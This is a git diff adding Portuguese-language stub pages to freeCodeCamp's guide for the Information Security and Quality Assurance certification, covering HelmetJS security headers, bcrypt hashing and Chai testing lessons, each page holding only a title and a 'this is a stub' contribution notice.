diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md
new file mode 100644
index 0000000000..5b0712b262
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md
@@ -0,0 +1,9 @@
+---
+title: Personal Library
+localeTitle: Biblioteca pessoal
+---
+## Biblioteca pessoal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/personal-library/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md
new file mode 100644
index 0000000000..8746b3d099
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md
@@ -0,0 +1,9 @@
+---
+title: Stock Price Checker
+localeTitle: Verificador de preços de ações
+---
+## Verificador de preços de ações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-and-quality-assurance-projects/stock-price-checker/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md
new file mode 100644
index 0000000000..6b1c066e5b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md
@@ -0,0 +1,9 @@
+---
+title: Ask Browsers to Access Your Site via HTTPS Only with helmet.hsts()
+localeTitle: Peça aos navegadores que acessem seu site via HTTPS somente com helmet.hsts ()
+---
+## Peça aos navegadores que acessem seu site via HTTPS somente com helmet.hsts ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/ask-browsers-to-access-your-site-via-https-only-with-helmet.hsts/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md
new file mode 100644
index 0000000000..c10ab95f0a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md
@@ -0,0 +1,9 @@
+---
+title: Avoid Inferring the Response MIME Type with helmet.noSniff()
+localeTitle: Evite Inferir o Tipo MIME de Resposta com helmet.noSniff ()
+---
+## Evite Inferir o Tipo MIME de Resposta com helmet.noSniff ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/avoid-inferring-the-response-mime-type-with-helmet.nosniff/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md
new file mode 100644
index 0000000000..480beb9967
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md
@@ -0,0 +1,9 @@
+---
+title: Configure Helmet Using the ‘parent’ helmet() Middleware
+localeTitle: Configurar o capacete usando o middleware "pai" de capacete ()
+---
+## Configurar o capacete usando o middleware do capacete 'pai' ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/configure-helmet-using-the-parent-helmet-middleware/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md
new file mode 100644
index 0000000000..1a35222b52
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable Client-Side Caching with helmet.noCache()
+localeTitle: Desativar o cache do cliente com helmet.noCache ()
+---
+## Desativar o cache do cliente com helmet.noCache ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md
new file mode 100644
index 0000000000..1c3cbe2762
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable DNS Prefetching with helmet.dnsPrefetchControl()
+localeTitle: Desativar pré-busca de DNS com helmet.dnsPrefetchControl ()
+---
+## Desativar pré-busca de DNS com helmet.dnsPrefetchControl ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md
new file mode 100644
index 0000000000..ee3dd869ce
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash and Compare Passwords Asynchronously
+localeTitle: Hash e compare senhas de forma assíncrona
+---
+## Hash e compare senhas de forma assíncrona
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md
new file mode 100644
index 0000000000..2a1da363e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash and Compare Passwords Synchronously
+localeTitle: Hash e Compare Senhas Sinteticamente
+---
+## Hash e Compare Senhas Sinteticamente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md
new file mode 100644
index 0000000000..10aff3df05
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md
@@ -0,0 +1,9 @@
+---
+title: Hide Potentially Dangerous Information Using helmet.hidePoweredBy()
+localeTitle: Ocultar informações potencialmente perigosas usando helmet.hidePoweredBy ()
+---
+## Ocultar informações potencialmente perigosas usando helmet.hidePoweredBy ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md
new file mode 100644
index 0000000000..465ec7b05d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security with HelmetJS
+localeTitle: Segurança da Informação com o HelmetJS
+---
+## Segurança da Informação com o HelmetJS
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md
new file mode 100644
index 0000000000..2ca02f04c3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md
@@ -0,0 +1,9 @@
+---
+title: Install and Require Helmet
+localeTitle: Instale e requeira capacete
+---
+## Instale e requeira capacete
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md
new file mode 100644
index 0000000000..539653fe06
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md
@@ -0,0 +1,9 @@
+---
+title: Mitigate the Risk of Clickjacking with helmet.frameguard()
+localeTitle: Mitigar o risco de clickjacking com helmet.frameguard ()
+---
+## Mitigar o risco de clickjacking com helmet.frameguard ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md
new file mode 100644
index 0000000000..87f8ba3d67
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md
@@ -0,0 +1,9 @@
+---
+title: Mitigate the Risk of Cross Site Scripting (XSS) Attacks with helmet.xssFilter()
+localeTitle: Reduza o risco de ataques de script de site cruzado (XSS) com helmet.xssFilter ()
+---
+## Reduza o risco de ataques de script de site cruzado (XSS) com helmet.xssFilter ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md
new file mode 100644
index 0000000000..9a5351fd03
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md
@@ -0,0 +1,9 @@
+---
+title: Prevent IE from Opening Untrusted HTML with helmet.ieNoOpen()
+localeTitle: Impedir o IE de abrir HTML não confiável com helmet.ieNoOpen ()
+---
+## Impedir o IE de abrir HTML não confiável com helmet.ieNoOpen ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md
new file mode 100644
index 0000000000..f65966e727
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md
@@ -0,0 +1,9 @@
+---
+title: Set a Content Security Policy with helmet.contentSecurityPolicy()
+localeTitle: Definir uma política de segurança de conteúdo com helmet.contentSecurityPolicy ()
+---
+## Definir uma política de segurança de conteúdo com helmet.contentSecurityPolicy ()
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md
new file mode 100644
index 0000000000..df9a9a41f8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand BCrypt Hashes
+localeTitle: Entenda os Hashes do BCrypt
+---
+## Entenda os Hashes do BCrypt
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md
new file mode 100644
index 0000000000..3da5481d01
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md
@@ -0,0 +1,9 @@
+---
+title: Assert Deep Equality with .deepEqual and .notDeepEqual
+localeTitle: Defina a Igualdade Profunda com .deepEqual e .notDeepEqual
+---
+## Defina a Igualdade Profunda com .deepEqual e .notDeepEqual
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md
new file mode 100644
index 0000000000..78d248857d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Compare the Properties of Two Elements
+localeTitle: Compare as propriedades de dois elementos
+---
+## Compare as propriedades de dois elementos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md
new file mode 100644
index 0000000000..f7e8ff8c92
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md
@@ -0,0 +1,11 @@
+---
+title: Quality Assurance and Testing with Chai
+localeTitle: Garantia de Qualidade e Teste com Chai
+---
+## Garantia de Qualidade e Teste com Chai
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md
new file mode 100644
index 0000000000..2f0aef1f65
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How JavaScript Assertions Work
+localeTitle: Aprenda como funcionam as asserções de JavaScript
+---
+## Aprenda como funcionam as asserções de JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md
new file mode 100644
index 0000000000..76f531cb2b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on an API Response using Chai-HTTP III - PUT method
+localeTitle: Executar testes funcionais em uma resposta da API usando o método Chai-HTTP III - PUT
+---
+## Executar testes funcionais em uma resposta da API usando o método Chai-HTTP III - PUT
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md
new file mode 100644
index 0000000000..fdb34c5eac
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on an API Response using Chai-HTTP IV - PUT method
+localeTitle: Executar testes funcionais em uma resposta da API usando o método Chai-HTTP IV - PUT
+---
+## Executar testes funcionais em uma resposta da API usando o método Chai-HTTP IV - PUT
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md
new file mode 100644
index 0000000000..0f93dfe0f5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on API Endpoints using Chai-HTTP II
+localeTitle: Executar testes funcionais em terminais da API usando o Chai-HTTP II
+---
+## Executar testes funcionais em terminais da API usando o Chai-HTTP II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md
new file mode 100644
index 0000000000..33947678e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on API Endpoints using Chai-HTTP
+localeTitle: Executar testes funcionais em terminais da API usando o Chai-HTTP
+---
+## Executar testes funcionais em terminais da API usando o Chai-HTTP
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md
new file mode 100644
index 0000000000..83a055b885
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests using a Headless Browser II
+localeTitle: Executar testes funcionais usando um navegador sem cabeça II
+---
+## Executar testes funcionais usando um navegador sem cabeça II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md
new file mode 100644
index 0000000000..24e57922a9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests using a Headless Browser
+localeTitle: Executar testes funcionais usando um navegador sem cabeçalho
+---
+## Executar testes funcionais usando um navegador sem cabeçalho
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md
new file mode 100644
index 0000000000..2af043b325
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md
@@ -0,0 +1,9 @@
+---
+title: Test for Truthiness
+localeTitle: Teste de veracidade
+---
+## Teste de veracidade
+
